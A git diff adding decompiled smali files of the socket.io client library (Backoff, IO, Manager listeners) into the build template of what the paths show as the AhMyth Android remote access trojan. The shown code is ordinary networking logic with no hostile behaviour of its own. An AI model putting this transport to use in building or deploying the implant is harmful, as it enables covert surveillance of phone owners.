+ invoke-virtual {v4, v5}, Ljava/math/BigInteger;->multiply(Ljava/math/BigInteger;)Ljava/math/BigInteger;
+
+ move-result-object v1
+
+ .line 19
+ .local v1, "ms":Ljava/math/BigInteger;
+ iget-wide v4, p0, Lio/socket/backo/Backoff;->jitter:D
+
+ const-wide/16 v6, 0x0
+
+ cmpl-double v4, v4, v6
+
+ if-eqz v4, :cond_0
+
+ .line 20
+ invoke-static {}, Ljava/lang/Math;->random()D
+
+ move-result-wide v2
+
+ .line 21
+ .local v2, "rand":D
+ invoke-static {v2, v3}, Ljava/math/BigDecimal;->valueOf(D)Ljava/math/BigDecimal;
+
+ move-result-object v4
+
+ iget-wide v6, p0, Lio/socket/backo/Backoff;->jitter:D
+
+ .line 22
+ invoke-static {v6, v7}, Ljava/math/BigDecimal;->valueOf(D)Ljava/math/BigDecimal;
+
+ move-result-object v5
+
+ invoke-virtual {v4, v5}, Ljava/math/BigDecimal;->multiply(Ljava/math/BigDecimal;)Ljava/math/BigDecimal;
+
+ move-result-object v4
+
+ new-instance v5, Ljava/math/BigDecimal;
+
+ invoke-direct {v5, v1}, Ljava/math/BigDecimal;->(Ljava/math/BigInteger;)V
+
+ .line 23
+ invoke-virtual {v4, v5}, Ljava/math/BigDecimal;->multiply(Ljava/math/BigDecimal;)Ljava/math/BigDecimal;
+
+ move-result-object v4
+
+ invoke-virtual {v4}, Ljava/math/BigDecimal;->toBigInteger()Ljava/math/BigInteger;
+
+ move-result-object v0
+
+ .line 24
+ .local v0, "deviation":Ljava/math/BigInteger;
+ const-wide/high16 v4, 0x4024000000000000L # 10.0
+
+ mul-double/2addr v4, v2
+
+ invoke-static {v4, v5}, Ljava/lang/Math;->floor(D)D
+
+ move-result-wide v4
+
+ double-to-int v4, v4
+
+ and-int/lit8 v4, v4, 0x1
+
+ if-nez v4, :cond_1
+
+ invoke-virtual {v1, v0}, Ljava/math/BigInteger;->subtract(Ljava/math/BigInteger;)Ljava/math/BigInteger;
+
+ move-result-object v1
+
+ .line 26
+ .end local v0 # "deviation":Ljava/math/BigInteger;
+ .end local v2 # "rand":D
+ :cond_0
+ :goto_0
+ iget-wide v4, p0, Lio/socket/backo/Backoff;->max:J
+
+ invoke-static {v4, v5}, Ljava/math/BigInteger;->valueOf(J)Ljava/math/BigInteger;
+
+ move-result-object v4
+
+ invoke-virtual {v1, v4}, Ljava/math/BigInteger;->min(Ljava/math/BigInteger;)Ljava/math/BigInteger;
+
+ move-result-object v4
+
+ invoke-virtual {v4}, Ljava/math/BigInteger;->longValue()J
+
+ move-result-wide v4
+
+ return-wide v4
+
+ .line 24
+ .restart local v0 # "deviation":Ljava/math/BigInteger;
+ .restart local v2 # "rand":D
+ :cond_1
+ invoke-virtual {v1, v0}, Ljava/math/BigInteger;->add(Ljava/math/BigInteger;)Ljava/math/BigInteger;
+
+ move-result-object v1
+
+ goto :goto_0
+.end method
+
+.method public getAttempts()I
+ .locals 1
+
+ .prologue
+ .line 54
+ iget v0, p0, Lio/socket/backo/Backoff;->attempts:I
+
+ return v0
+.end method
+
+.method public reset()V
+ .locals 1
+
+ .prologue
+ .line 30
+ const/4 v0, 0x0
+
+ iput v0, p0, Lio/socket/backo/Backoff;->attempts:I
+
+ .line 31
+ return-void
+.end method
+
+.method public setFactor(I)Lio/socket/backo/Backoff;
+ .locals 0
+ .param p1, "factor" # I
+
+ .prologue
+ .line 44
+ iput p1, p0, Lio/socket/backo/Backoff;->factor:I
+
+ .line 45
+ return-object p0
+.end method
+
+.method public setJitter(D)Lio/socket/backo/Backoff;
+ .locals 1
+ .param p1, "jitter" # D
+
+ .prologue
+ .line 49
+ iput-wide p1, p0, Lio/socket/backo/Backoff;->jitter:D
+
+ .line 50
+ return-object p0
+.end method
+
+.method public setMax(J)Lio/socket/backo/Backoff;
+ .locals 1
+ .param p1, "max" # J
+
+ .prologue
+ .line 39
+ iput-wide p1, p0, Lio/socket/backo/Backoff;->max:J
+
+ .line 40
+ return-object p0
+.end method
+
+.method public setMin(J)Lio/socket/backo/Backoff;
+ .locals 1
+ .param p1, "min" # J
+
+ .prologue
+ .line 34
+ iput-wide p1, p0, Lio/socket/backo/Backoff;->ms:J
+
+ .line 35
+ return-object p0
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Ack.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Ack.smali
new file mode 100644
index 00000000..82955c8c
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Ack.smali
@@ -0,0 +1,8 @@
+.class public interface abstract Lio/socket/client/Ack;
+.super Ljava/lang/Object;
+.source "Ack.java"
+
+
+# virtual methods
+.method public varargs abstract call([Ljava/lang/Object;)V
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/IO$Options.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/IO$Options.smali
new file mode 100644
index 00000000..0d54033e
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/IO$Options.smali
@@ -0,0 +1,37 @@
+.class public Lio/socket/client/IO$Options;
+.super Lio/socket/client/Manager$Options;
+.source "IO.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lio/socket/client/IO;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x9
+ name = "Options"
+.end annotation
+
+
+# instance fields
+.field public forceNew:Z
+
+.field public multiplex:Z
+
+
+# direct methods
+.method public constructor ()V
+ .locals 1
+
+ .prologue
+ .line 89
+ invoke-direct {p0}, Lio/socket/client/Manager$Options;->()V
+
+ .line 96
+ const/4 v0, 0x1
+
+ iput-boolean v0, p0, Lio/socket/client/IO$Options;->multiplex:Z
+
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/IO.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/IO.smali
new file mode 100644
index 00000000..4d660483
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/IO.smali
@@ -0,0 +1,369 @@
+.class public Lio/socket/client/IO;
+.super Ljava/lang/Object;
+.source "IO.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/MemberClasses;
+ value = {
+ Lio/socket/client/IO$Options;
+ }
+.end annotation
+
+
+# static fields
+.field private static final logger:Ljava/util/logging/Logger;
+
+.field private static final managers:Ljava/util/concurrent/ConcurrentHashMap;
+ .annotation system Ldalvik/annotation/Signature;
+ value = {
+ "Ljava/util/concurrent/ConcurrentHashMap",
+ "<",
+ "Ljava/lang/String;",
+ "Lio/socket/client/Manager;",
+ ">;"
+ }
+ .end annotation
+.end field
+
+.field public static protocol:I
+
+
+# direct methods
+.method static constructor ()V
+ .locals 1
+
+ .prologue
+ .line 17
+ const-class v0, Lio/socket/client/IO;
+
+ invoke-virtual {v0}, Ljava/lang/Class;->getName()Ljava/lang/String;
+
+ move-result-object v0
+
+ invoke-static {v0}, Ljava/util/logging/Logger;->getLogger(Ljava/lang/String;)Ljava/util/logging/Logger;
+
+ move-result-object v0
+
+ sput-object v0, Lio/socket/client/IO;->logger:Ljava/util/logging/Logger;
+
+ .line 19
+ new-instance v0, Ljava/util/concurrent/ConcurrentHashMap;
+
+ invoke-direct {v0}, Ljava/util/concurrent/ConcurrentHashMap;->()V
+
+ sput-object v0, Lio/socket/client/IO;->managers:Ljava/util/concurrent/ConcurrentHashMap;
+
+ .line 24
+ sget v0, Lio/socket/parser/Parser;->protocol:I
+
+ sput v0, Lio/socket/client/IO;->protocol:I
+
+ return-void
+.end method
+
+.method private constructor ()V
+ .locals 0
+
+ .prologue
+ .line 34
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+.method public static setDefaultHostnameVerifier(Ljavax/net/ssl/HostnameVerifier;)V
+ .locals 0
+ .param p0, "hostnameVerifier" # Ljavax/net/ssl/HostnameVerifier;
+
+ .prologue
+ .line 31
+ sput-object p0, Lio/socket/client/Manager;->defaultHostnameVerifier:Ljavax/net/ssl/HostnameVerifier;
+
+ .line 32
+ return-void
+.end method
+
+.method public static setDefaultSSLContext(Ljavax/net/ssl/SSLContext;)V
+ .locals 0
+ .param p0, "sslContext" # Ljavax/net/ssl/SSLContext;
+
+ .prologue
+ .line 27
+ sput-object p0, Lio/socket/client/Manager;->defaultSSLContext:Ljavax/net/ssl/SSLContext;
+
+ .line 28
+ return-void
+.end method
+
+.method public static socket(Ljava/lang/String;)Lio/socket/client/Socket;
+ .locals 1
+ .param p0, "uri" # Ljava/lang/String;
+ .annotation system Ldalvik/annotation/Throws;
+ value = {
+ Ljava/net/URISyntaxException;
+ }
+ .end annotation
+
+ .prologue
+ .line 37
+ const/4 v0, 0x0
+
+ invoke-static {p0, v0}, Lio/socket/client/IO;->socket(Ljava/lang/String;Lio/socket/client/IO$Options;)Lio/socket/client/Socket;
+
+ move-result-object v0
+
+ return-object v0
+.end method
+
+.method public static socket(Ljava/lang/String;Lio/socket/client/IO$Options;)Lio/socket/client/Socket;
+ .locals 1
+ .param p0, "uri" # Ljava/lang/String;
+ .param p1, "opts" # Lio/socket/client/IO$Options;
+ .annotation system Ldalvik/annotation/Throws;
+ value = {
+ Ljava/net/URISyntaxException;
+ }
+ .end annotation
+
+ .prologue
+ .line 41
+ new-instance v0, Ljava/net/URI;
+
+ invoke-direct {v0, p0}, Ljava/net/URI;->(Ljava/lang/String;)V
+
+ invoke-static {v0, p1}, Lio/socket/client/IO;->socket(Ljava/net/URI;Lio/socket/client/IO$Options;)Lio/socket/client/Socket;
+
+ move-result-object v0
+
+ return-object v0
+.end method
+
+.method public static socket(Ljava/net/URI;)Lio/socket/client/Socket;
+ .locals 1
+ .param p0, "uri" # Ljava/net/URI;
+
+ .prologue
+ .line 45
+ const/4 v0, 0x0
+
+ invoke-static {p0, v0}, Lio/socket/client/IO;->socket(Ljava/net/URI;Lio/socket/client/IO$Options;)Lio/socket/client/Socket;
+
+ move-result-object v0
+
+ return-object v0
+.end method
+
+.method public static socket(Ljava/net/URI;Lio/socket/client/IO$Options;)Lio/socket/client/Socket;
+ .locals 12
+ .param p0, "uri" # Ljava/net/URI;
+ .param p1, "opts" # Lio/socket/client/IO$Options;
+
+ .prologue
+ const/4 v9, 0x1
+
+ const/4 v10, 0x0
+
+ .line 56
+ if-nez p1, :cond_0
+
+ .line 57
+ new-instance p1, Lio/socket/client/IO$Options;
+
+ .end local p1 # "opts":Lio/socket/client/IO$Options;
+ invoke-direct {p1}, Lio/socket/client/IO$Options;->()V
+
+ .line 60
+ .restart local p1 # "opts":Lio/socket/client/IO$Options;
+ :cond_0
+ invoke-static {p0}, Lio/socket/client/Url;->parse(Ljava/net/URI;)Ljava/net/URL;
+
+ move-result-object v4
+
+ .line 63
+ .local v4, "parsed":Ljava/net/URL;
+ :try_start_0
+ invoke-virtual {v4}, Ljava/net/URL;->toURI()Ljava/net/URI;
+ :try_end_0
+ .catch Ljava/net/URISyntaxException; {:try_start_0 .. :try_end_0} :catch_0
+
+ move-result-object v7
+
+ .line 67
+ .local v7, "source":Ljava/net/URI;
+ invoke-static {v4}, Lio/socket/client/Url;->extractId(Ljava/net/URL;)Ljava/lang/String;
+
+ move-result-object v1
+
+ .line 68
+ .local v1, "id":Ljava/lang/String;
+ invoke-virtual {v4}, Ljava/net/URL;->getPath()Ljava/lang/String;
+
+ move-result-object v5
+
+ .line 69
+ .local v5, "path":Ljava/lang/String;
+ sget-object v8, Lio/socket/client/IO;->managers:Ljava/util/concurrent/ConcurrentHashMap;
+
+ invoke-virtual {v8, v1}, Ljava/util/concurrent/ConcurrentHashMap;->containsKey(Ljava/lang/Object;)Z
+
+ move-result v8
+
+ if-eqz v8, :cond_2
+
+ sget-object v8, Lio/socket/client/IO;->managers:Ljava/util/concurrent/ConcurrentHashMap;
+
+ .line 70
+ invoke-virtual {v8, v1}, Ljava/util/concurrent/ConcurrentHashMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
+
+ move-result-object v8
+
+ check-cast v8, Lio/socket/client/Manager;
+
+ iget-object v8, v8, Lio/socket/client/Manager;->nsps:Ljava/util/concurrent/ConcurrentHashMap;
+
+ invoke-virtual {v8, v5}, Ljava/util/concurrent/ConcurrentHashMap;->containsKey(Ljava/lang/Object;)Z
+
+ move-result v8
+
+ if-eqz v8, :cond_2
+
+ move v6, v9
+
+ .line 71
+ .local v6, "sameNamespace":Z
+ :goto_0
+ iget-boolean v8, p1, Lio/socket/client/IO$Options;->forceNew:Z
+
+ if-nez v8, :cond_1
+
+ iget-boolean v8, p1, Lio/socket/client/IO$Options;->multiplex:Z
+
+ if-eqz v8, :cond_1
+
+ if-eqz v6, :cond_3
+
+ :cond_1
+ move v3, v9
+
+ .line 74
+ .local v3, "newConnection":Z
+ :goto_1
+ if-eqz v3, :cond_4
+
+ .line 75
+ sget-object v8, Lio/socket/client/IO;->logger:Ljava/util/logging/Logger;
+
+ const-string v11, "ignoring socket cache for %s"
+
+ new-array v9, v9, [Ljava/lang/Object;
+
+ aput-object v7, v9, v10
+
+ invoke-static {v11, v9}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
+
+ move-result-object v9
+
+ invoke-virtual {v8, v9}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 76
+ new-instance v2, Lio/socket/client/Manager;
+
+ invoke-direct {v2, v7, p1}, Lio/socket/client/Manager;->(Ljava/net/URI;Lio/socket/client/Manager$Options;)V
+
+ .line 85
+ .local v2, "io":Lio/socket/client/Manager;
+ :goto_2
+ invoke-virtual {v4}, Ljava/net/URL;->getPath()Ljava/lang/String;
+
+ move-result-object v8
+
+ invoke-virtual {v2, v8}, Lio/socket/client/Manager;->socket(Ljava/lang/String;)Lio/socket/client/Socket;
+
+ move-result-object v8
+
+ return-object v8
+
+ .line 64
+ .end local v1 # "id":Ljava/lang/String;
+ .end local v2 # "io":Lio/socket/client/Manager;
+ .end local v3 # "newConnection":Z
+ .end local v5 # "path":Ljava/lang/String;
+ .end local v6 # "sameNamespace":Z
+ .end local v7 # "source":Ljava/net/URI;
+ :catch_0
+ move-exception v0
+
+ .line 65
+ .local v0, "e":Ljava/net/URISyntaxException;
+ new-instance v8, Ljava/lang/RuntimeException;
+
+ invoke-direct {v8, v0}, Ljava/lang/RuntimeException;->(Ljava/lang/Throwable;)V
+
+ throw v8
+
+ .end local v0 # "e":Ljava/net/URISyntaxException;
+ .restart local v1 # "id":Ljava/lang/String;
+ .restart local v5 # "path":Ljava/lang/String;
+ .restart local v7 # "source":Ljava/net/URI;
+ :cond_2
+ move v6, v10
+
+ .line 70
+ goto :goto_0
+
+ .restart local v6 # "sameNamespace":Z
+ :cond_3
+ move v3, v10
+
+ .line 71
+ goto :goto_1
+
+ .line 78
+ .restart local v3 # "newConnection":Z
+ :cond_4
+ sget-object v8, Lio/socket/client/IO;->managers:Ljava/util/concurrent/ConcurrentHashMap;
+
+ invoke-virtual {v8, v1}, Ljava/util/concurrent/ConcurrentHashMap;->containsKey(Ljava/lang/Object;)Z
+
+ move-result v8
+
+ if-nez v8, :cond_5
+
+ .line 79
+ sget-object v8, Lio/socket/client/IO;->logger:Ljava/util/logging/Logger;
+
+ const-string v11, "new io instance for %s"
+
+ new-array v9, v9, [Ljava/lang/Object;
+
+ aput-object v7, v9, v10
+
+ invoke-static {v11, v9}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
+
+ move-result-object v9
+
+ invoke-virtual {v8, v9}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 80
+ sget-object v8, Lio/socket/client/IO;->managers:Ljava/util/concurrent/ConcurrentHashMap;
+
+ new-instance v9, Lio/socket/client/Manager;
+
+ invoke-direct {v9, v7, p1}, Lio/socket/client/Manager;->(Ljava/net/URI;Lio/socket/client/Manager$Options;)V
+
+ invoke-virtual {v8, v1, v9}, Ljava/util/concurrent/ConcurrentHashMap;->putIfAbsent(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
+
+ .line 82
+ :cond_5
+ sget-object v8, Lio/socket/client/IO;->managers:Ljava/util/concurrent/ConcurrentHashMap;
+
+ invoke-virtual {v8, v1}, Ljava/util/concurrent/ConcurrentHashMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
+
+ move-result-object v2
+
+ check-cast v2, Lio/socket/client/Manager;
+
+ .restart local v2 # "io":Lio/socket/client/Manager;
+ goto :goto_2
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$1$1.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$1$1.smali
new file mode 100644
index 00000000..0af7085f
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$1$1.smali
@@ -0,0 +1,58 @@
+.class Lio/socket/client/Manager$1$1;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager$1;->run()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$1:Lio/socket/client/Manager$1;
+
+.field final synthetic val$self:Lio/socket/client/Manager;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager$1;Lio/socket/client/Manager;)V
+ .locals 0
+ .param p1, "this$1" # Lio/socket/client/Manager$1;
+
+ .prologue
+ .line 264
+ iput-object p1, p0, Lio/socket/client/Manager$1$1;->this$1:Lio/socket/client/Manager$1;
+
+ iput-object p2, p0, Lio/socket/client/Manager$1$1;->val$self:Lio/socket/client/Manager;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 2
+ .param p1, "args" # [Ljava/lang/Object;
+
+ .prologue
+ .line 267
+ iget-object v0, p0, Lio/socket/client/Manager$1$1;->val$self:Lio/socket/client/Manager;
+
+ const-string v1, "transport"
+
+ invoke-virtual {v0, v1, p1}, Lio/socket/client/Manager;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 268
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$1$2.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$1$2.smali
new file mode 100644
index 00000000..a512e17f
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$1$2.smali
@@ -0,0 +1,73 @@
+.class Lio/socket/client/Manager$1$2;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager$1;->run()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$1:Lio/socket/client/Manager$1;
+
+.field final synthetic val$self:Lio/socket/client/Manager;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager$1;Lio/socket/client/Manager;)V
+ .locals 0
+ .param p1, "this$1" # Lio/socket/client/Manager$1;
+
+ .prologue
+ .line 271
+ iput-object p1, p0, Lio/socket/client/Manager$1$2;->this$1:Lio/socket/client/Manager$1;
+
+ iput-object p2, p0, Lio/socket/client/Manager$1$2;->val$self:Lio/socket/client/Manager;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 2
+ .param p1, "objects" # [Ljava/lang/Object;
+
+ .prologue
+ .line 274
+ iget-object v0, p0, Lio/socket/client/Manager$1$2;->val$self:Lio/socket/client/Manager;
+
+ # invokes: Lio/socket/client/Manager;->onopen()V
+ invoke-static {v0}, Lio/socket/client/Manager;->access$400(Lio/socket/client/Manager;)V
+
+ .line 275
+ iget-object v0, p0, Lio/socket/client/Manager$1$2;->this$1:Lio/socket/client/Manager$1;
+
+ iget-object v0, v0, Lio/socket/client/Manager$1;->val$fn:Lio/socket/client/Manager$OpenCallback;
+
+ if-eqz v0, :cond_0
+
+ iget-object v0, p0, Lio/socket/client/Manager$1$2;->this$1:Lio/socket/client/Manager$1;
+
+ iget-object v0, v0, Lio/socket/client/Manager$1;->val$fn:Lio/socket/client/Manager$OpenCallback;
+
+ const/4 v1, 0x0
+
+ invoke-interface {v0, v1}, Lio/socket/client/Manager$OpenCallback;->call(Ljava/lang/Exception;)V
+
+ .line 276
+ :cond_0
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$1$3.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$1$3.smali
new file mode 100644
index 00000000..df7bbc15
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$1$3.smali
@@ -0,0 +1,155 @@
+.class Lio/socket/client/Manager$1$3;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager$1;->run()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$1:Lio/socket/client/Manager$1;
+
+.field final synthetic val$self:Lio/socket/client/Manager;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager$1;Lio/socket/client/Manager;)V
+ .locals 0
+ .param p1, "this$1" # Lio/socket/client/Manager$1;
+
+ .prologue
+ .line 279
+ iput-object p1, p0, Lio/socket/client/Manager$1$3;->this$1:Lio/socket/client/Manager$1;
+
+ iput-object p2, p0, Lio/socket/client/Manager$1$3;->val$self:Lio/socket/client/Manager;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 7
+ .param p1, "objects" # [Ljava/lang/Object;
+
+ .prologue
+ const/4 v2, 0x0
+
+ const/4 v6, 0x0
+
+ .line 282
+ array-length v3, p1
+
+ if-lez v3, :cond_0
+
+ aget-object v0, p1, v6
+
+ .line 283
+ .local v0, "data":Ljava/lang/Object;
+ :goto_0
+ # getter for: Lio/socket/client/Manager;->logger:Ljava/util/logging/Logger;
+ invoke-static {}, Lio/socket/client/Manager;->access$000()Ljava/util/logging/Logger;
+
+ move-result-object v3
+
+ const-string v4, "connect_error"
+
+ invoke-virtual {v3, v4}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 284
+ iget-object v3, p0, Lio/socket/client/Manager$1$3;->val$self:Lio/socket/client/Manager;
+
+ # invokes: Lio/socket/client/Manager;->cleanup()V
+ invoke-static {v3}, Lio/socket/client/Manager;->access$500(Lio/socket/client/Manager;)V
+
+ .line 285
+ iget-object v3, p0, Lio/socket/client/Manager$1$3;->val$self:Lio/socket/client/Manager;
+
+ sget-object v4, Lio/socket/client/Manager$ReadyState;->CLOSED:Lio/socket/client/Manager$ReadyState;
+
+ iput-object v4, v3, Lio/socket/client/Manager;->readyState:Lio/socket/client/Manager$ReadyState;
+
+ .line 286
+ iget-object v3, p0, Lio/socket/client/Manager$1$3;->val$self:Lio/socket/client/Manager;
+
+ const-string v4, "connect_error"
+
+ const/4 v5, 0x1
+
+ new-array v5, v5, [Ljava/lang/Object;
+
+ aput-object v0, v5, v6
+
+ # invokes: Lio/socket/client/Manager;->emitAll(Ljava/lang/String;[Ljava/lang/Object;)V
+ invoke-static {v3, v4, v5}, Lio/socket/client/Manager;->access$600(Lio/socket/client/Manager;Ljava/lang/String;[Ljava/lang/Object;)V
+
+ .line 287
+ iget-object v3, p0, Lio/socket/client/Manager$1$3;->this$1:Lio/socket/client/Manager$1;
+
+ iget-object v3, v3, Lio/socket/client/Manager$1;->val$fn:Lio/socket/client/Manager$OpenCallback;
+
+ if-eqz v3, :cond_2
+
+ .line 288
+ new-instance v1, Lio/socket/client/SocketIOException;
+
+ const-string v3, "Connection error"
+
+ instance-of v4, v0, Ljava/lang/Exception;
+
+ if-eqz v4, :cond_1
+
+ check-cast v0, Ljava/lang/Exception;
+
+ .end local v0 # "data":Ljava/lang/Object;
+ :goto_1
+ invoke-direct {v1, v3, v0}, Lio/socket/client/SocketIOException;->(Ljava/lang/String;Ljava/lang/Throwable;)V
+
+ .line 290
+ .local v1, "err":Ljava/lang/Exception;
+ iget-object v2, p0, Lio/socket/client/Manager$1$3;->this$1:Lio/socket/client/Manager$1;
+
+ iget-object v2, v2, Lio/socket/client/Manager$1;->val$fn:Lio/socket/client/Manager$OpenCallback;
+
+ invoke-interface {v2, v1}, Lio/socket/client/Manager$OpenCallback;->call(Ljava/lang/Exception;)V
+
+ .line 295
+ .end local v1 # "err":Ljava/lang/Exception;
+ :goto_2
+ return-void
+
+ :cond_0
+ move-object v0, v2
+
+ .line 282
+ goto :goto_0
+
+ .restart local v0 # "data":Ljava/lang/Object;
+ :cond_1
+ move-object v0, v2
+
+ .line 288
+ goto :goto_1
+
+ .line 293
+ :cond_2
+ iget-object v2, p0, Lio/socket/client/Manager$1$3;->val$self:Lio/socket/client/Manager;
+
+ # invokes: Lio/socket/client/Manager;->maybeReconnectOnOpen()V
+ invoke-static {v2}, Lio/socket/client/Manager;->access$700(Lio/socket/client/Manager;)V
+
+ goto :goto_2
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$1$4$1.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$1$4$1.smali
new file mode 100644
index 00000000..135f44ae
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Manager$1$4$1.smali
@@ -0,0 +1,131 @@
+.class Lio/socket/client/Manager$1$4$1;
+.super Ljava/lang/Object;
+.source "Manager.java"
+
+# interfaces
+.implements Ljava/lang/Runnable;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Manager$1$4;->run()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$2:Lio/socket/client/Manager$1$4;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Manager$1$4;)V
+ .locals 0
+ .param p1, "this$2" # Lio/socket/client/Manager$1$4;
+
+ .prologue
+ .line 306
+ iput-object p1, p0, Lio/socket/client/Manager$1$4$1;->this$2:Lio/socket/client/Manager$1$4;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+ .locals 8
+
+ .prologue
+ const/4 v7, 0x1
+
+ const/4 v6, 0x0
+
+ .line 309
+ # getter for: Lio/socket/client/Manager;->logger:Ljava/util/logging/Logger;
+ invoke-static {}, Lio/socket/client/Manager;->access$000()Ljava/util/logging/Logger;
+
+ move-result-object v0
+
+ const-string v1, "connect attempt timed out after %d"
+
+ new-array v2, v7, [Ljava/lang/Object;
+
+ iget-object v3, p0, Lio/socket/client/Manager$1$4$1;->this$2:Lio/socket/client/Manager$1$4;
+
+ iget-wide v4, v3, Lio/socket/client/Manager$1$4;->val$timeout:J
+
+ invoke-static {v4, v5}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
+
+ move-result-object v3
+
+ aput-object v3, v2, v6
+
+ invoke-static {v1, v2}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
+
+ move-result-object v1
+
+ invoke-virtual {v0, v1}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 310
+ iget-object v0, p0, Lio/socket/client/Manager$1$4$1;->this$2:Lio/socket/client/Manager$1$4;
+
+ iget-object v0, v0, Lio/socket/client/Manager$1$4;->val$openSub:Lio/socket/client/On$Handle;
+
+ invoke-interface {v0}, Lio/socket/client/On$Handle;->destroy()V
+
+ .line 311
+ iget-object v0, p0, Lio/socket/client/Manager$1$4$1;->this$2:Lio/socket/client/Manager$1$4;
+
+ iget-object v0, v0, Lio/socket/client/Manager$1$4;->val$socket:Lio/socket/engineio/client/Socket;
+
+ invoke-virtual {v0}, Lio/socket/engineio/client/Socket;->close()Lio/socket/engineio/client/Socket;
+
+ .line 312
+ iget-object v0, p0, Lio/socket/client/Manager$1$4$1;->this$2:Lio/socket/client/Manager$1$4;
+
+ iget-object v0, v0, Lio/socket/client/Manager$1$4;->val$socket:Lio/socket/engineio/client/Socket;
+
+ const-string v1, "error"
+
+ new-array v2, v7, [Ljava/lang/Object;
+
